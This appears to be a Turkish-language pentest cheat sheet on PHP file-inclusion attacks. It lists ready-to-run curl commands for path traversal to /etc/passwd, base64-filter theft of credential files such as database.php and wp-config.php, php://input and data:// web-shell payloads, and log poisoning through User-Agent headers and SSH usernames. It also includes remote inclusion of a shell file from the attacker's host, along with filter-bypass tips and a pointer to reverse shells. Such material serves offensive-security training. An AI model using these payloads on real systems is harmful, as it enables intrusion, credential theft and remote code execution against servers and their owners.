LFI/RFI — Local/Remote File Inclusion ve Wrapper RCE
PHP include akislarinda dosya okuma (base64 filtreleri, /etc/passwd), php://input ve data:// ile RCE, /var/log/auth.log + Apache access.log log poisoning, /proc/self/environ ve RFI ile kod calistirma.
- Bir GET/POST parametresinin dosya yoluna doğrudan beslendiği tespit edildi
- Hedefte PHP çalıştığı doğrulandı
Komutlar
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=../../../../etc/passwd' curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=php://filter/read=convert.base64-encode/resource=../config/database.php' | base64 -d curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=php://input&cmd=id' --data-binary '<?php system($_GET["cmd"]); ?>' curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id' curl -s -A '<?php system($_GET["c"]); ?>' 'http://{{RHOST}}:{{RPORT}}/' curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=/var/log/apache2/access.log&c=id' ssh '<?php system($_GET["c"]); ?>'@{{RHOST}} curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=/var/log/auth.log&c=id' curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=/proc/self/environ' -A '<?php system($_GET["c"]); ?>' curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=http://{{LHOST}}:{{LPORT}}/shell.txt&cmd=id' curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=../../../../etc/passwd%00' Tespit
Bir parametre (?page=, ?file=, ?include=, ?lang=) doğrudan dosya yoluna besleniyorsa LFI adayıdır. Önce ../../../../etc/passwd ile traversal denenir. Çıktı geliyorsa LFI doğrulandı. Hata mesajları (failed to open stream) yol yapısını ele verir; depth (kaç ../) için 3-8 arası denenir.
Kaynak Kodu Okuma
Uygulama dosyalarını düz okumaya çalışmak çoğu zaman PHP’yi çalıştırır ve boş döner. php://filter/convert.base64-encode/resource=... wrapper’ı dosyayı base64’e çevirip yürütülmeden döndürür; yerelde base64 -d ile çözülür. Bu yöntemle config.php, database.php, wp-config.php gibi credential içeren dosyalar sızdırılır — enum fazına geri besleme yapar.
LFI’dan RCE’ye
Öncelik sırası:
- php://input:
allow_url_include=Onise POST gövdesindeki PHP çalışır. - data://: aynı ayarla base64 gömülü payload çalışır.
- Log poisoning:
allow_url_includekapalıyken en güvenilir yol. Apacheaccess.log(User-Agent başlığına payload) veyaauth.log(SSH username’e payload) zehirlenir, sonra log dosyası include edilir. Log yolları:/var/log/apache2/access.log,/var/log/nginx/access.log,/var/log/auth.log. Okuma izni gerekir. - /proc/self/environ: eski sistemlerde okunabiliyorsa User-Agent payload’ı yürütülür.
- RFI:
allow_url_include=On(nadir) ise kendi sunucundan PHP include edilir.
Gotchalar
- Uzantı zorla ekleniyorsa (
.phpappend) eski PHP’de%00null byte ile kesilebilir; modern PHP’de path truncation veya wrapper gerekir. - WAF varsa
....//veya URL-encode (%2e%2e%2f) ile filtre atlatılır. - Log poisoning’de RCE alındıktan sonra hemen kararlı reverse shell’e geçilmeli (bkz. revshells), çünkü her istek logu büyütür ve tek satırlık payload’ı bozabilir.